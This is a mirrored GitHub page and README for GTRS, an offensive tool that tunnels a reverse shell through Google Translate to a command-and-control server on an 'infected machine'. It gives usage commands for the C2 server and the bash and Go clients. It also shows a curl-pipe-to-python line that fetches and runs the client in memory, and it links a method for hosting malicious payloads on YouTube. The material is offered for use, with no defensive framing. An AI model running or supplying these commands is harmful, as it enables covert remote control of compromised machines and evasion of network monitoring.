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https://github.com/mthbernardes/gtrs
GTRS - Google Translator Reverse Shell
https://github.com/mthbernardes/gtrs
Last synced: about 2 months ago
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GTRS - Google Translator Reverse Shell
- Host: GitHub
- URL: https://github.com/mthbernardes/gtrs
- Owner: mthbernardes
- Created: 2018-12-01T23:37:41.000Z (almost 6 years ago)
- Default Branch: master
- Last Pushed: 2023-08-14T18:29:33.000Z (about 1 year ago)
- Last Synced: 2024-06-21T04:43:47.565Z (3 months ago)
- Language: Go
- Size: 17.6 KB
- Stars: 615
- Watchers: 22
- Forks: 104
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- Funding: .github/FUNDING.yml
Awesome Lists containing this project
README
# GTRS - Google Translator Reverse Shell
This tools uses [Google Translator](https://translate.google.com) as a proxy to send arbitrary commands to an infected machine.
```
[INFECTED MACHINE] ==HTTPS==> [GOOGLE TRANSLATE] ==HTTP==> [C2]
```
# Environment Configuration
First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/).
# Server
Start the server.py on your VPS
```bash
python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
```
It will provide you secret key which will be used on the client.
# Client bash
Run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server.
```bash
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
```
Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories.
# Client Go
You first need to [download](https://github.com/mthbernardes/GTRS/releases) the binary or compile it, then the process is equal of the bash client,
```bash
./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
```
With this client you have the ability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet.
# ELF in-memory execution (Linux Only)
After reading this [blogpost](https://blog.fbkcs.ru/en/elf-in-memory-execution/), I made a simple adaption to execute the GTRS in memory, just edit the host and key in the script [inmemory-linux.py](utils/inmemory-linux.py), then host it on a server an curl it.
```bash
curl https://yourserver.ml/inmemory-linux.py | python
```
Or you can host the script using the [youtube](https://mthbernardes.github.io/rce/2018/12/14/hosting-malicious-payloads-on-youtube.html) approach.
# Poc
[](http://www.youtube.com/watch?v=02CFsE0k96E)
# Known issues
* ~~Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.~~ `Problem fixed using User-Agent header to sent data`.
* ~~The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`~~ `Problem fixed, now the client is write also in go.
* It's not a problem, but I just don't know if there's a rate limit on Google Translator